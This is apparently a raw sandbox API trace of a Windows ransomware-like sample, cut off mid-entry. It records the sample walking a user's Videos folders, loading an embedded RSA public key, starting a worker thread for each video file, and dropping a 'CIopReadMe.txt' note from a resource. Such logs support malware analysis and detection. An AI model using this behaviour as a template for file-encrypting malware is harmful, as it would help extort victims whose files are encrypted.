1 [0104.530] lstrcmpW (lpString1="VAlp", lpString2=".") returned 1 [0104.530] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0104.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0104.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0104.530] SetErrorMode (uMode=0x1) returned 0x1 [0104.531] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0104.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0104.531] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0104.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0104.531] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e778 [0104.531] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0104.531] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0104.531] FindNextFileW (in: hFindFile=0x67e778, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0104.531] FindNextFileW (in: hFindFile=0x67e778, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0104.531] lstrcmpW (lpString1="gbg6IyO.avi", lpString2="..") returned 1 [0104.531] lstrcmpW (lpString1="gbg6IyO.avi", lpString2=".") returned 1 [0104.531] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned 52 [0104.531] Sleep (dwMilliseconds=0xd) [0104.590] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0104.590] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="gbg6IyO.avi" | out: lpString1="gbg6IyO.avi") returned="gbg6IyO.avi" [0104.590] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0104.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0104.591] WaitForSingleObject (hHandle=0x62c, dwMilliseconds=0xffffffff) returned 0x0 [0105.114] SetErrorMode (uMode=0x1) returned 0x1 [0105.114] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\CIopReadMe.txt") returned 62 [0105.114] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\valp\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.114] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0105.114] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0105.114] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0105.114] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0105.114] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0105.114] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\valp\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x650 [0105.114] WriteFile (in: hFile=0x650, lpBuffer=0x5f1458*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc3594, lpOverlapped=0x0 | out: lpBuffer=0x5f1458*, lpNumberOfBytesWritten=0x2dc3594*=0x759, lpOverlapped=0x0) returned 1 [0105.115] CloseHandle (hObject=0x650) returned 1 [0105.115] FindNextFileW (in: hFindFile=0x67e778, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0105.115] FindClose (in: hFindFile=0x67e778 | out: hFindFile=0x67e778) returned 1 [0105.115] FindClose (in: hFindFile=0x67e778 | out: hFindFile=0x67e778) returned 0 [0105.116] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0105.116] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0105.116] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e538 [0105.116] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0105.116] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0105.116] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0105.116] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0105.116] FindNextFileW (in: hFindFile=0x67e538, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0105.116] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0105.116] FindNextFileW (in: hFindFile=0x67e538, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0105.116] FindNextFileW (in: hFindFile=0x67e538, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0105.116] FindNextFileW (in: hFindFile=0x67e538, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0105.116] FindClose (in: hFindFile=0x67e538 | out: hFindFile=0x67e538) returned 1 [0105.116] FindClose (in: hFindFile=0x67e538 | out: hFindFile=0x67e538) returned 0 [0105.116] FindNextFileW (in: hFindFile=0x67e438, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0105.116] FindClose (in: hFindFile=0x67e438 | out: hFindFile=0x67e438) returned 1 [0105.116] FindClose (in: hFindFile=0x67e438 | out: hFindFile=0x67e438) returned 0 [0105.116] FindNextFileW (in: hFindFile=0x67e938, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0105.116] FindClose (in: hFindFile=0x67e938 | out: hFindFile=0x67e938) returned 1 [0105.116] FindClose (in: hFindFile=0x67e938 | out: hFindFile=0x67e938) returned 0 [0105.117] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0105.117] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0105.117] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2="..") returned 1 [0105.117] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2=".") returned 1 [0105.117] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0105.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0105.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0105.117] SetErrorMode (uMode=0x1) returned 0x1 [0105.117] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0105.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0105.117] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0105.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0105.117] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e5f8 [0105.117] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0105.117] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0105.117] FindNextFileW (in: hFindFile=0x67e5f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0105.117] FindNextFileW (in: hFindFile=0x67e5f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0105.117] lstrcmpW (lpString1="4ioWuMxhZ Ndf1N_b.flv", lpString2="..") returned 1 [0105.117] lstrcmpW (lpString1="4ioWuMxhZ Ndf1N_b.flv", lpString2=".") returned 1 [0105.117] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned 53 [0105.117] Sleep (dwMilliseconds=0xd) [0105.139] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.139] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="4ioWuMxhZ Ndf1N_b.flv" | out: lpString1="4ioWuMxhZ Ndf1N_b.flv") returned="4ioWuMxhZ Ndf1N_b.flv" [0105.139] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0105.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0105.140] WaitForSingleObject (hHandle=0x63c, dwMilliseconds=0xffffffff) returned 0x0 [0105.239] SetErrorMode (uMode=0x1) returned 0x1 [0105.239] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\CIopReadMe.txt") returned 63 [0105.239] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.239] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0105.239] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0105.239] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0105.239] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0105.239] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0105.239] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x650 [0105.240] WriteFile (in: hFile=0x650, lpBuffer=0x6888e8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x6888e8*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0105.240] CloseHandle (hObject=0x650) returned 1 [0105.241] FindNextFileW (in: hFindFile=0x67e5f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0105.241] FindNextFileW (in: hFindFile=0x67e5f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0105.241] lstrcmpW (lpString1="oJoLhaSYb.mkv", lpString2="..") returned 1 [0105.241] lstrcmpW (lpString1="oJoLhaSYb.mkv", lpString2=".") returned 1 [0105.241] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned 53 [0105.241] Sleep (dwMilliseconds=0xd) [0105.270] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.270] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="oJoLhaSYb.mkv" | out: lpString1="oJoLhaSYb.mkv") returned="oJoLhaSYb.mkv" [0105.270] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0105.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0105.270] SetErrorMode (uMode=0x1) returned 0x1 [0105.270] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\CIopReadMe.txt") returned 63 [0105.270] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x65c [0105.270] CloseHandle (hObject=0x65c) returned 1 [0105.271] FindNextFileW (in: hFindFile=0x67e5f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0105.271] lstrcmpW (lpString1="pB rGU0A_4l5KRvtZ sr.mp4", lpString2="..") returned 1 [0105.271] lstrcmpW (lpString1="pB rGU0A_4l5KRvtZ sr.mp4", lpString2=".") returned 1 [0105.271] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned 53 [0105.271] Sleep (dwMilliseconds=0xd) [0105.312] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.312] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="pB rGU0A_4l5KRvtZ sr.mp4" | out: lpString1="pB rGU0A_4l5KRvtZ sr.mp4") returned="pB rGU0A_4l5KRvtZ sr.mp4" [0105.312] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0105.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0105.312] SetErrorMode (uMode=0x1) returned 0x1 [0105.313] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\CIopReadMe.txt") returned 63 [0105.313] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x658 [0105.313] CloseHandle (hObject=0x658) returned 1 [0105.313] FindNextFileW (in: hFindFile=0x67e5f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0105.313] FindNextFileW (in: hFindFile=0x67e5f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0105.313] lstrcmpW (lpString1="_F8m3hu10142ds4cz1.avi", lpString2="..") returned 1 [0105.313] lstrcmpW (lpString1="_F8m3hu10142ds4cz1.avi", lpString2=".") returned 1 [0105.313] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned 53 [0105.313] Sleep (dwMilliseconds=0xd) [0105.368] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") 